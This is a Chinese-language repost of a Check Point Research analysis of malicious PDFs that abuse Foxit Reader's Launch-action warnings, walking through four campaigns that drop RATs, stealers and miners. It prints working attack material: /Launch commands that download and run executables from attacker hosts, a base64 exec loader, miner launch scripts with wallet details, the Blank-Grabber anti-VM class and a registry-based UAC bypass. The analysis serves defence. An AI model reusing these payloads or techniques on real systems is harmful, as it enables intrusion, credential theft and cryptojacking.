FOXIT PDF设计缺陷利用

admin 2024年5月15日19:56:27评论11 views字数 34601阅读115分20秒阅读模式

FOXIT PDF设计缺陷利用

介绍

PDF(便携式文档格式)文件已成为现代数字通信不可或缺的一部分。PDF 以其通用性和保真度而闻名,为跨不同计算环境共享文档提供了强大的平台。PDF 已发展成为一种标准格式,用于以一致的布局和格式呈现文本、图像和多媒体内容,无论用于查看它们的软件、硬件或操作系统如何。这种多功能性使得 PDF 在从商业和学术界到政府和个人使用的各个领域中不可或缺,成为以结构化和可访问的方式交换信息的可靠手段。

在 PDF 查看器领域,Adobe Acrobat Reader 占据着行业主导地位。然而,虽然 Adobe Acrobat Reader 占据最大的市场份额,但一些著名的竞争者正在争夺注意力,其中 Foxit PDF Reader 是一个突出的替代品。拥有超过 7 亿用户,遍布 200 多个国家,重要客户来自美国空军、陆军、海军和导弹防御局等政府部门,以及谷歌、微软、英特尔和戴尔等技术部门。

Check Point Research 发现了一种涉及 PDF 攻击的异常行为模式,主要针对 Foxit Reader 用户。此漏洞会触发安全警告,可能会欺骗毫无戒心的用户执行有害命令。Check Point Research 观察到该漏洞的变体在野外被积极利用。其低检测率归因于大多数沙箱或防病毒解决方案中普遍使用 Adobe Reader,因为 Adobe Reader 不易受到此特定漏洞的影响。此外,Check Point Research 还观察到各种利用构建器(从用 .NET 编码的构建器到用 Python 编写的构建器)被用来部署此漏洞利用。

从电子犯罪到间谍活动,多种威胁行为者已利用此漏洞。这些活动利用了低检测率和针对此漏洞的防护措施,发现攻击者甚至使用 Facebook 等非传统方式共享这些恶意 PDF 文件。Check Point Research 隔离并深入调查了三个案例,从以军事为重点的间谍活动到多环节、多工具的电子犯罪,形成了令人印象深刻的攻击链。

“有缺陷的设计”

Check Point Research 发现,  与 Adobe Reader 相比,使用 Foxit Reader 执行EXPMON样本时会产生异常行为。对受害者的利用是通过福昕阅读器中的一个有缺陷的设计发生的,该设计显示为默认选项“确定”,这可能导致大多数目标忽略这些消息并执行恶意代码。一旦受害者两次“同意”默认选项,恶意命令就会被执行。

受害者场景如下所示:打开文件时,我们遇到第一个弹出窗口,默认选项“信任一次”,这是正确的做法。

FOXIT PDF设计缺陷利用

图 1 – 第一个弹出警告。

单击“确定”后,目标会出现第二个弹出窗口。如果目标用户有机会阅读第一条消息,则第二条消息将在不阅读的情况下“同意”。在这种情况下,威胁行为者正在利用这种有缺陷的逻辑和常见的人类行为,这提供了最“有害”的默认选择。

FOXIT PDF设计缺陷利用

图 2 – 第二个弹出警告将“打开”作为默认选项。

连接调试器后,我们可以观察执行的命令,并使用 PowerShell 下载并执行恶意文件。

FOXIT PDF设计缺陷利用

图 3 – 触发的恶意命令。执行的命令。

执行的命令:

"C:WindowsSystem32cmd.exe" /c cD  %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile('hxxps://cdn.discordapp.com/attachments/1010643365152436226/1011056243474960515/Client_1.exe', 'payload.exe')" >> msd89h2j389uh.bat &@echo timeout /t 5 >> msd89h2j389uh.bat &@echo start payload.exe >> msd89h2j389uh.bat &@echo Set oShell = CreateObject ("Wscript.Shell") >> encrypted.vbs &@echo Dim strArgs >> encrypted.vbs &@echo strArgs = "cmd /c msd89h2j389uh.bat" >> encrypted.vbs &@echo oShell.Run strArgs, 0, false >> encrypted.vbs & encrypted.vbs &dEl encrypted.vbs

代码 1 – 命令执行。

静态分析PDF文件,我们可以得到其背后的执行逻辑。

.pdf-parser.py .mlw.pdfPDF Comment '%PDF-1.1rn'obj 1 0 Type: /Catalog Referencing: 2 0 R  <<    /OpenAction      <<        /S /Launch        /Win          <<            /F (CMD)            /P '(/c cD  %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile('hxxps://cdn.discordapp.com/attachments/1010643365152436226/1011056243474960515/Client_1.exe', 'payload.exe')"'          >>        msd89h2j389uh.bat &@echo timeout        / t 5      >>    msd89h2j389uh.bat &@echo start payload.exe  >>obj 2 0 Type: /Pages Referencing: 3 0 R  <<    /Kids [ 3 0 R ]    /Count 1    /Type /Pages  >>obj 3 0 Type: /Page Referencing: 5 0 R, 2 0 R, 4 0 R  <<    /Resources      <<        /Font          <<            /F1 5 0 R          >>      >>    /MediaBox [ 0 0 795 842 ]    /Parent 2 0 R    /Contents 4 0 R    /Type /Page  >>obj 4 0 Type: Referencing: Contains stream  <<    /Length 1260  >>obj 5 0 Type: /Font Referencing:  <<    /Subtype /Type1    /Name /F1    /BaseFont /Helvetica    /Type /Font  >>xreftrailer  <<    /Size 6    /Root 1 0 R    /ID [(bc38735adadf7620b13216ff40de2b26)(bc38735adadf7620b13216ff40de2b26)]  >>startxref 1866PDF Comment '%%EOF'

代码 2 – PDF 静态分析。

引用 PDF 根目录的初始链接使用 键显示 /Root。在本例中,指向 object  1。沿着这个对象,我们可以观察到 key  /OpenAction,它本身并不表明恶意活动。这是 PDF 文件目录字典中的键。它指定打开文档时要自动执行的操作。接下来的按键负责命令的执行, /S /Launch 指示福昕阅读器启动外部应用程序并 /Win 提供启动的应用程序所需的信息。随后,键入 /F 并 /P 提供要执行的应用程序及其参数。

这一系列按键会触发福昕阅读器中的前两个警告,并且由于设计缺陷和粗心的用户,它能够执行似乎被威胁行为者高度利用的恶意命令。同时, /Launch Adobe Reader 似乎不会触发该密钥 。

利用 PDF Exploit 的活动

Check Point Research 利用针对 Foxit Reader 用户的特定漏洞收集了大量恶意 PDF 文件。尽管大多数沙箱和 VirusTotal 未能触发该漏洞,但考虑到 Adobe 作为主要 PDF 阅读器的盛行性,之前活动中的大量文件仍未被检索。尽管如此,我们还是从不同来源获得了足够数量的丢弃有效负载,揭示了感染链中的各种恶意工具和著名的恶意软件家族,例如:

  • VenomRAT

  • Agent-Tesla

  • Remcos

  • NjRAT

  • NanoCore RAT

  • Pony

  • Xworm

  • AsyncRAT

  • DCRat

我们对最初的 PDF 样本引发有趣活动的特定实例进行了精心隔离和深入研究。通过分析,我们旨在揭示对这些感染的性质和机制的独特见解。

案例一:带有间谍气息的 Windows 和 Android 僵尸网络

在研究过程中,我们偶然发现了一个恶意 PDF 文件,该文件具有可疑的“军事”相关名称“ Regarding Invitation to attend defence services Asia 2024 and National Security Asia 2024.pdf”。该 PDF 可能是通过下载链接分发的。该活动的攻击链很简单,下载 PDF 并执行两个可执行文件的下载程序,该下载程序随后将收集和上传各种文件,例如文档、图像、档案和数据库。

FOXIT PDF设计缺陷利用

图 4 – 攻击链。

命令与控制

下载器除了下载和执行两个有效负载之外不提供任何功能,并且发送到注册僵尸程序的 C&C 的信息仅显示收到下一阶段有效负载的受害者。

FOXIT PDF设计缺陷利用

图 5 – 下载者的控制面板,机器人信息。

根据这些“机器人注册”文件的创建日期,我们获得了活动日期和每天添加到僵尸网络的机器人数量。主要活动似乎发生在 2024 年 4 月 5 日,这一天注册的机器人最多。

FOXIT PDF设计缺陷利用

图 6 – 每天注册的机器人。

攻击链和特定工具的使用证明了一场以间谍活动为重点的活动,而使用 Rafel RAT 感染 Android 的进一步发现进一步证明了这一假设。根据获得的受害者数据,威胁行为者有能力执行混合活动,这也导致了双因素身份验证 (2FA) 绕过。Check Point Research 认为这些活动是由 APT-C-35/DoNot 团队执行的。

Windows 营销活动技术分析

该 PDF 文档仍然托管在 C&C 上,这表明可以使用下载链接下载该文档,而不是作为文件发送给潜在受害者。

FOXIT PDF设计缺陷利用

图 7 – 分发服务器开放目录。

Check Point Research 分析了特定的 PDF 文档,发现它是使用 2024 年 2 月 13 日发布的开源 PDF Builder构建的。触发“漏洞”后使用的命令会从远程服务器下载可执行文件并执行它。

        /S /Launch        /Win          <<            /F (cmd.exe)            /P '(/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile('hxxps://omagle-chat-secure.com/target.exe', 'payload.exe')"'          >>        msd89h2j389uh.bat &@echo timeout        / t 5

代码 3 – 下载恶意负载的命令。

机器信息

执行的下载器收集机器信息并将其写入“ %Appdata%/TestLog/$PC_Name.txt”:

  • 计算机名称

  • 用户名

  • IP地址

  • 操作系统版本

  • 字符串解密

该恶意软件包含对其功能很重要的字符串,并使用自定义算法进行加密。

FOXIT PDF设计缺陷利用

图 8 – 解密算法。

def downloader_decrypt_string(encrypted: bytes, key: int) -> bytes:    result = []    for char in encrypted:        if chr(char) in string.ascii_letters:            base = ord("A") if char <= ord("Z") else ord("a")            char = (char - base - key + 0x1A) % 0x1A + base        result.append(char)    return bytes(result)>>  b'APPDATA'>>  b'\Intel\index.exe'>>  b'\Intel\upload.exe'>>  b'hxxps://mailservicess.com/res/data/in.exe'>>  b'hxxps://mailservicess.com/res/data/up.exe'>>  b'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'>>  b'TailoredExperiencesWithDiagnosticDataEnabled'>>  b'ghijkl/ghijkl'>>  b'/index.php'>>  b'mailservicess.com'>>  b'\Systems.exe'>>  b'Systems.exe'>>  b'\Mozila\'

代码 4 – Python 表示和解密字符串。

网络通讯

下载程序采用一种不寻常的方法来检索将要发送的数据。它枚举文件夹内的文件 %Appdata%/TestLog/ 并将其上传到 C&C:hxxps://mailservicess.com/ghijkl/ghijkl/index.php

Content-Type: multipart/form-data; boundary=----qwerty------qwertyContent-Disposition: form-data; name="filetoupload"; filename="$FILEPATH"Content-Type: application/octet-streamContent-Transfer-Encoding: binaryComputer Name: $PC_NAMEIP Address: $IP_ADDRESSUser Name: $USER_NAMEOperating System Version: $VERSION------qwerty--

将机器人注册到 C&C 后,它会下载两个有效负载并将它们存储为%Appdata%/Intel/index.exe和%Appdata%/Intel/upload.exe。两者都是使用参数“ pp”执行的,彼此之间的时间差“很大”。

坚持

恶意软件将自身复制到 并设置名为“ ”的%Appdata%/Intel/Mozila/Systems.exe 运行注册表路径“ ”,并对复制的路径进行赋值。SOFTWARE\Microsoft\Windows\CurrentVersion\RunTailoredExperiencesWithDiagnosticDataEnabled

下载的有效负载

第一个有效负载“ in.exe”,存储为“ index.exe”,不包含任何与网络相关的功能。它用于列出特定根目录、、、、、、 中的文件 , 并将 C:\具有 以下 扩展  名的文件复制到 文件  夹 。D:\E:\F:\G:\H:\I:\Z:\%AppData%/htdocs/

.txt, .jpeg, .jpg, .png, .doc, .docx, .xls, .xlsx, .pdf, .ppt, .zip, .rar, .inp, .pptx, .sql

所有复制文件的文本摘要将在 处创建 %AppData%/output.exe。

第二个有效负载“ up.exe,”存储为“ upload.exe,”,在第一个有效负载经过一段时间后执行,并使用与下载程序类似的字符串解密。

def uploader_decrypt_string(encrypted: bytes) -> bytes:    result = []    for char in encrypted:        if chr(char) in string.ascii_letters:            base_byte = 0x2A if char <= ord("Z") else 0x4A            char -= base_byte            temp = ((0x4EC4EC4F * char) >> 32) >> 3            char = char - 0x1A * ((temp < 0) + temp) + (base_byte + 0x17)        result.append(char)    return bytes(result)>>  b'mailservicess.com'>>  b'filetoupload'>>  b'/filedata/'>>  b'/index.php'>>  b'mailservicess.com'>>  b'filetoupload'>>  b'APPDATA'>>  b'\htdocs\'

代码 5 – Python 表示和解密字符串。

%Appdata%/htdocs/ 上传程序使用与下载程序相同的网络通信枚举来自 C&C 的文件 并将它们上传到 C&C。

------qwertyContent-Disposition: form-data; name="filetoupload"; filename="$FILEPATH"Content-Type: application/octet-streamContent-Transfer-Encoding: binary$FILE_DATA------qwerty--

该组织已经使用了这两个下载的有效负载,但通过进一步的研究,我们发现了另一种可以根据该组织的兴趣删除的工具。内部工具名称是:

  1. indexer,它复制并汇总感兴趣的文件。

  2. upload,上传以前文件的工具

  3. screen, 一个制作屏幕截图并将其保存到同一文件夹以通过 上传获取的工具。

根据分析的工具,我们认为可能存在更多未被发现的工具来满足不同的需求,例如窃取者,它们会将其结果放入上述文件夹中,以便上传工具可以将它们发送到 C&C。

Check Point Research 还从 C&C 上发现的目录中观察到其他恶意软件和工具的证据,但我们尚未设法获得任何可以进一步验证我们的发现的样本。我们发现的文件夹是:

  1. /AhMyth/,是一个开源的 Android RAT

  2. /sliver/,一个类似于 Cobalt Strike 的开源跨平台红队框架。

  3. /Keres/ 是一个针对 Windows 和 Linux 具有持久性的 PowerShell 反向 shell 后门。

案例二.连锁活动

在这次活动中,需要跟踪多个链接、执行命令和文件,以找到一个盗窃者和两个地雷。感染链的初始部分是通过针对 Foxit PDF Reader 用户的恶意 PDF 文档实现的。该文件的名称为“ swift v2.pdf”,可能主要针对来自美国等国家的用户。

FOXIT PDF设计缺陷利用

图 9 – 攻击链。

时至今日,PDF文件在防病毒解决方案中的检测率仍然较低,威胁更大。在其中一项活动中,威胁行为者还通过 Facebook 分发了该病毒,并没有被社交媒体的恶意软件检测器检测到。

FOXIT PDF设计缺陷利用

图 10 – VirusTotal PDF 文件检测率较低。

活动技术分析

静态分析,触发的命令为 cmd.exe,执行后下载恶意BAT文件 curl。

    /OpenAction      <<        /S /Launch        /Win          <<            /F '(c:\\windows\\system32\\cmd.exe)'            /P '(/c curl hxxps://sealingshop.click/bat/bostar4 -o "C:\\Users\\Public\\mems.bat" & C:\\Users\\Public\\mems.bat)'          >>      >>

代码 6 – 命令一旦接受就执行。

恶意负载会在 Facebook 页面上打开浏览器;我们不确定此操作的用途,可能是为了分散用户对要执行的恶意活动或空白 PDF 页面的注意力。我们成功地通过打开不同的合法页面(例如亚马逊)获得了类似的 BAT 有效负载。一种假设可能是,打开的网站可能表明用户的目标平台。

cmd /c start https://www.facebook.com/help/contact/1304188393453553?ref=payout_hubC:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden Invoke-WebRequest -URI hxxps://sealingshop.click/config/stu -OutFile "C:\Users\$([Environment]::UserName)\AppData\Roaming\Microsoft\Windows\'Start Menu'\Programs\Startup\WindowsUpdate.bat"cmd /c mkdir "C:\Users\Public\python39"cmd /c curl hxxps://sealingshop.click/app/python39.zip -o "C:\Users\Public\python39\python39.zip"cmd /c tar -xf C:\Users\Public\python39\python39.zip -C "C:\Users\Public\python39"cmd /c curl hxxps://sealingshop.click/py/bostar4 -o "C:\Users\Public\python39\documents.py"cmd /c C:\Users\Public\python39\python.exe "C:\Users\Public\python39\documents.py"

代码 7——“第一有效负载”。

“第一个有效负载”将下载第二个 BAT 文件并将其存储在 %Startup% 文件夹中以 WindowsUpdate.bat 保持持久性。重新启动时,计算机将使用 PowerShell(一个 Python 文件)执行。

cmd /c C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden C:\Users\Public\python39\python C:\Users\Public\python39\documents.py;

代码 8 – 使用 PowerShell 下载的命令用于持久性。

一旦删除持久性 BAT 文件,“第一个有效负载”就会下载并“安装”Python 3.9  C:\Users\Public\python。至此,更清楚的是,最终的有效负载将是一个Python文件,该文件将被再次下载 curl 并执行。

import osimport base64import sqlite3import win32cryptfrom Crypto.Cipher import AESimport requestsimport jsonimport getpassimport sysvari = ''exec(base64.b64decode({2:str,3:lambda b:bytes(b, 'UTF-8')}[sys.version_info[0]]('dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjQnKS50ZXh0')))exec(base64.b64decode({2:str,3:lambda b:bytes(b, 'UTF-8')}[sys.version_info[0]](vari)))

代码 9 – Python 加载器。

这个Python文件是一个执行动态下载代码的Loader。第一个 exec 调用将下载一个混淆的 Python 信息窃取程序和 Miner dropper,第二个调用 exec 将执行它。此信息窃取程序仅针对 Chrome 和 Edge 浏览器,并窃取用户的凭据和 cookie。为了检索实际的 C&C,恶意软件会发出 GET 请求,然后 /up/cookie-password-all 使用用户的个人身份信息 (PII) 发出 POST 请求。

FOXIT PDF设计缺陷利用

图 11 – 实际的 C&C。

对于“关闭”,恶意软件会发出最后两个 GET 请求来检索矿工要删除的实际 URL。使用 PowerShell 命令,下载解压文件并执行矿工。

os.system('cmd /c mkdir "C:\Users\Public\PublicAlbums"')os.system("powershell.exe -windowstyle hidden Invoke-WebRequest -URI " + url_miner_xmrig + " -OutFile C:\Users\Public\PublicAlbums\xmrig.zip")os.system("powershell.exe -windowstyle hidden Expand-Archive C:\Users\Public\PublicAlbums\xmrig.zip -DestinationPath C:\Users\Public\PublicAlbums")os.system("cmd /c C:\Users\Public\PublicAlbums\config.vbs")

代码 10 – Lol Miner 使用相同的代码。

两个矿工都存储在 Gitlab ( @topworld20241config.vbs ) 中,两个 ZIP 存档都包含要 使用每个矿工的指令和配置执行的文件 。

FOXIT PDF设计缺陷利用

图 12 – 恶意 Gitlab 项目。(所有提交均在 GMT+1 时区)

Sub Main()Dim WShell,objFSOSet WShell = CreateObject("WScript.Shell")Set objFSO = CreateObject("Scripting.FileSystemObject")If objFSO.FileExists("C:\Users\Public\PublicAlbums\xmrig.exe") Then    WShell.Run "C:\Users\Public\PublicAlbums\xmrig.exe --donate-level 1 -o de.zephyr.herominers.com:1123 -u ZEPHsCVJBy21Z2qvE7JpbwDgsQCzPqyV58KWAZ2qzVYAjPh4bsjrGB7W6DkTuUy4p5Kk75dUyvBtgH3jpspeQUbnR8ZMYL7wDcV -p workerbot -a rx/0 -k", 0    Set WShell = NothingEnd IfEnd SubOn Error Resume Next    Main

代码 11 – XMRig Miner 的 VB 脚本。

Sub Main()Dim WShell,objFSOSet WShell = CreateObject("WScript.Shell")Set objFSO = CreateObject("Scripting.FileSystemObject")If objFSO.FileExists("C:\Users\Public\PublicSounds\lolMiner.exe") Then    WShell.Run "C:\Users\Public\PublicSounds\lolMiner.exe --algo NEXA --pool stratum+ssl://nexapow.unmineable.com:4444 --user ZEPH:ZEPHsCVJBy21Z2qvE7JpbwDgsQCzPqyV58KWAZ2qzVYAjPh4bsjrGB7W6DkTuUy4p5Kk75dUyvBtgH3jpspeQUbnR8ZMYL7wDcV --watchdog exit !EXTRAPARAMETERS!", 0    Set WShell = NothingEnd IfEnd SubOn Error Resume Next    Main

代码 12 – Lol Miner 的 VB 脚本。

案例三.检测率低的 Python Stealer

另一种传递恶意最终文件的方式可能更直接,例如从 DiscordApp 下载恶意文件并执行它。下面的 PDF 感染链下载恶意 Python 文件就是这种情况。

FOXIT PDF设计缺陷利用

图 13 – Blank-Grabber 低检测率

Python 文件并不是常见的嫌疑对象,即使检测率较低也证明了这一点;更令人震惊的是,这个Python窃取程序是一个名为Blank-Grabber的开源项目  ,而不是新发现的恶意软件。

活动技术分析

PDF 执行 PowerShell 并从 DiscordApp 下载恶意文件,从而产生“合法”的网络流量。然后,Python 恶意软件被下载 lol.pyw 并在受害者的计算机上执行。

    /OpenAction      <<        /S /Launch        /Win          <<            /F (CMD)            /P '(/c cD  %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile('hxxps://cdn.discordapp.com/attachments/1167576449859993683/1168168071366709278/lol.pyw', 'lol.pyw')"'          >>        msd89h2j389uh.bat &@echo timeout        / t 5      >>    msd89h2j389uh.bat &@echo start stub.pyw  >>

代码 13 – PDF 执行的命令。

该恶意软件功能强大,拥有许多功能,从图形生成器到 UAC 绕过、反 VM,以及从各种浏览器和应用程序窃取功能。

FOXIT PDF设计缺陷利用

图 14 – GitHub 项目上列出的功能。

有趣的是 class VmProtect,它列出了所有反虚拟机技术。

由识别可知:

  1. UUID

  2. 计算机名称

  3. 用户名

  4. 注册表项和值

  5. 终止与虚拟机或任何其他恶意软件逆向相关工具相关的正在运行的任务。

  6. 对网络仿真进行与互联网相关的检查,并检查系统是否在线托管。

class VmProtect:    BLACKLISTED_UUIDS = ('7AB5C494-39F5-4941-9163-47F54D6D5016', '032E02B4-0499-05C3-0806-3C0700080009', '03DE0294-0480-05DE-1A06-350700080009', '11111111-2222-3333-4444-555555555555', '6F3CA5EC-BEC9-4A4D-8274-11168F640058', 'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548', '4C4C4544-0050-3710-8058-CAC04F59344A', '00000000-0000-0000-0000-AC1F6BD04972', '00000000-0000-0000-0000-000000000000', '5BD24D56-789F-8468-7CDC-CAA7222CC121', '49434D53-0200-9065-2500-65902500E439', '49434D53-0200-9036-2500-36902500F022', '777D84B3-88D1-451C-93E4-D235177420A7', '49434D53-0200-9036-2500-369025000C65', 'B1112042-52E8-E25B-3655-6A4F54155DBF', '00000000-0000-0000-0000-AC1F6BD048FE', 'EB16924B-FB6D-4FA1-8666-17B91F62FB37', 'A15A930C-8251-9645-AF63-E45AD728C20C', '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3', 'C7D23342-A5D4-68A1-59AC-CF40F735B363', '63203342-0EB0-AA1A-4DF5-3FB37DBB0670', '44B94D56-65AB-DC02-86A0-98143A7423BF', '6608003F-ECE4-494E-B07E-1C4615D1D93C', 'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A', '49434D53-0200-9036-2500-369025003AF0', '8B4E8278-525C-7343-B825-280AEBCD3BCB', '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27', '79AF5279-16CF-4094-9758-F88A616D81B4', 'FE822042-A70C-D08B-F1D1-C207055A488F', '76122042-C286-FA81-F0A8-514CC507B250', '481E2042-A1AF-D390-CE06-A8F783B1E76A', 'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C', '9961A120-E691-4FFE-B67B-F0E4115D5919')    BLACKLISTED_COMPUTERNAMES = ('bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr', 'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb', 'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc', 'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc', 'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs', 'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc', 'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076', 'desktop-vkeons4', 'NTT-EFF-2W11WSS')    BLACKLISTED_USERS = ('wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex', 'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq', 'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a', 'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl', 'harry johnson', 'j.seance', 'a.monaldo', 'tvm')    BLACKLISTED_TASKS = ('fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler', 'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray', 'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice', 'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc', 'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol', 'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice', 'vmwaretray', 'discordtokenprotector')    @staticmethod    def checkUUID() -> bool:        Logger.info('Checking UUID')        uuid = subprocess.run('wmic csproduct get uuid', shell=True, capture_output=True).stdout.splitlines()[2].decode(errors='ignore').strip()        return uuid in VmProtect.BLACKLISTED_UUIDS    @staticmethod    def checkComputerName() -> bool:        Logger.info('Checking computer name')        computername = os.getenv('computername')        return computername.lower() in VmProtect.BLACKLISTED_COMPUTERNAMES    @staticmethod    def checkUsers() -> bool:        Logger.info('Checking username')        user = os.getlogin()        return user.lower() in VmProtect.BLACKLISTED_USERS    @staticmethod    def checkHosting() -> bool:        Logger.info('Checking if system is hosted online')        http = PoolManager(cert_reqs='CERT_NONE')        try:            return http.request('GET', 'http://ip-api.com/line/?fields=hosting').data.decode(errors='ignore').strip() == 'true'        except Exception:            Logger.info('Unable to check if system is hosted online')            return False    @staticmethod    def checkHTTPSimulation() -> bool:        Logger.info('Checking if system is simulating connection')        http = PoolManager(cert_reqs='CERT_NONE', timeout=1.0)        try:            http.request('GET', f'https://blank-{Utility.GetRandomString()}.in')        except Exception:            return False        else:            return True    @staticmethod    def checkRegistry() -> bool:        Logger.info('Checking registry')        r1 = subprocess.run('REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2', capture_output=True, shell=True)        r2 = subprocess.run('REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2', capture_output=True, shell=True)        gpucheck = any((x.lower() in subprocess.run('wmic path win32_VideoController get name', capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines()[2].strip().lower() for x in ('virtualbox', 'vmware')))        dircheck = any([os.path.isdir(path) for path in ('D:\Tools', 'D:\OS2', 'D:\NT3X')])        return r1.returncode != 1 and r2.returncode != 1 or gpucheck or dircheck    @staticmethod    def killTasks() -> None:        Utility.TaskKill(*VmProtect.BLACKLISTED_TASKS)    @staticmethod    def isVM() -> bool:        Logger.info('Checking if system is a VM')        Thread(target=VmProtect.killTasks, daemon=True).start()        result = VmProtect.checkHTTPSimulation() or VmProtect.checkUUID() or VmProtect.checkComputerName() or VmProtect.checkUsers() or VmProtect.checkHosting() or VmProtect.checkRegistry()        if result:            Logger.info('System is a VM')        else:            Logger.info('System is not a VM')        return result

代码 14 – VM 保护等级。

另一个有趣的部分是该函数,它会导致 UAC 绕过 def UACbypass。

    @staticmethod    def UACbypass(method: int=1) -> bool:        if Utility.GetSelf()[1]:            execute = lambda cmd: subprocess.run(cmd, shell=True, capture_output=True)            match method:                case 1:                    execute(f'reg add hkcu\Software\Classes\ms-settings\shell\open\command /d "{sys.executable}" /f')                    execute('reg add hkcu\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f')                    log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout)                    execute('computerdefaults --nouacbypass')                    log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout)                    execute('reg delete hkcu\Software\Classes\ms-settings /f')                    if log_count_after > log_count_before:                        return Utility.UACbypass(method + 1)                case 2:                    execute(f'reg add hkcu\Software\Classes\ms-settings\shell\open\command /d "{sys.executable}" /f')                    execute('reg add hkcu\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f')                    log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout)                    execute('fodhelper --nouacbypass')                    log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout)                    execute('reg delete hkcu\Software\Classes\ms-settings /f')                    if log_count_after > log_count_before:                        return Utility.UACbypass(method + 1)                case _:                    return False            return True

代码 15 – UAC 旁路功能。

Blank-Grabber 似乎是一个功能齐全的开源信息窃取程序,其低检测率使其对目标用户构成更大的威胁。

案例四.从 PDF 到 PDF 再到……Remcos

另一个有趣的案例是,恶意 PDF 包含指向托管在 trello.com.下载后,它显示了一个包含恶意代码的辅助 PDF 文件,该文件利用了福昕阅读器用户的这种“利用”。攻击链再次令人印象深刻,为了用最终的有效负载感染受害者,多个文件被删除。总共执行了 10 多个文件,最终恶意软件 Remcos RAT 使用DynnamicWrapperX 注入内存 。

FOXIT PDF设计缺陷利用

图 15 – 导致 Remcos RAT 的攻击链

执行此活动的威胁参与者 @Silentkillertv似乎还通过 Telegram 销售恶意工具。 4 月 27 日,威胁行为者发布了一个 PDF 漏洞,该漏洞针对 Foxit PDF Reader,  “100% 绕过反病毒”  ,并且能够绕过 “Gmail、Yahoo、Facebook 和 Hotmail 文件共享限制”。

FOXIT PDF设计缺陷利用

图 16 – Telegram 频道。

活动技术分析

第一个 PDF 文件包含一个恶意超链接,可下载名为“ ”的 PDF 文件Facebook_Adversting_project.pdf。

FOXIT PDF设计缺陷利用

图 17 – 第一个 PDF 文件。

obj 119 0 Type: Referencing:  <<    /S /URI    /URI (hxxps://trello.com/1/cards/661a23427b01e8ba1bde8e2e/attachments/662d51f9e28ce98ab46ecd93/download/Facebook_Adversting_project.pdf)  >>

代码 16 – 第一个 PDF 链接。

单击该链接后,受害者会收到第二个 PDF 文件,该文件托管在trello.com合法网站上。与 Discord 类似,威胁行为者一直在利用合法网站来托管和分发恶意文件。

FOXIT PDF设计缺陷利用

图 18 – trello.com 上托管的第二个 PDF。

该文件于4月27日由“ ”上传Bechtelar Libby @bechtelarlibby。

FOXIT PDF设计缺陷利用

图 19 – 2024 年 4 月 27 日附上的 PDF

该用户的初始活动似乎可以追溯到 2024 年 3 月 1 日。从可疑帐户生成的文件和文件夹名称来看,目标国家似乎包括越南和韩国等。

    Bảng Trello của tôi (Vietnamese): My Trello board    Lập kế hoạch dự án (Vietnamese): Project planning    Họp khởi động (Vietnamese): Kickoff meeting    Cần làm (Vietnamese): Need to do    Xong (Vietnamese): Done    거래 데이터 (Korean): Transaction data    신원 확인 (Korean): Identity verification

FOXIT PDF设计缺陷利用

图 20 – 活动可追溯到 3 月 1 日。

在第二个PDF中,针对Foxit用户的利用是通过以下PowerShell命令执行的:

    /OpenAction      <<        /S /Launch        /Win          <<            /F (cmd.exe)            /P '(/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile('hxxps://www.digitalmarketingstart.com/GFFFDSGSDGDFSGDFSGDSG.lnk', 'NCGHDFHGTDFJMDFGKJHFTYFUKFYU.LNK')"'          >>        VGHJFUYTKFJFGJHFGKJHGFTGHDFKTGJH.BAT &@echo timeout        / t 5      >>    VGHJFUYTKFJFGJHFGKJHGFTGHDFKTGJH.BAT &@echo start NCGHDFHGTDFJMDFGKJHFTYFUKFYU.LNK  >>

代码 17 – 第二个 PDF Foxit 漏洞利用。

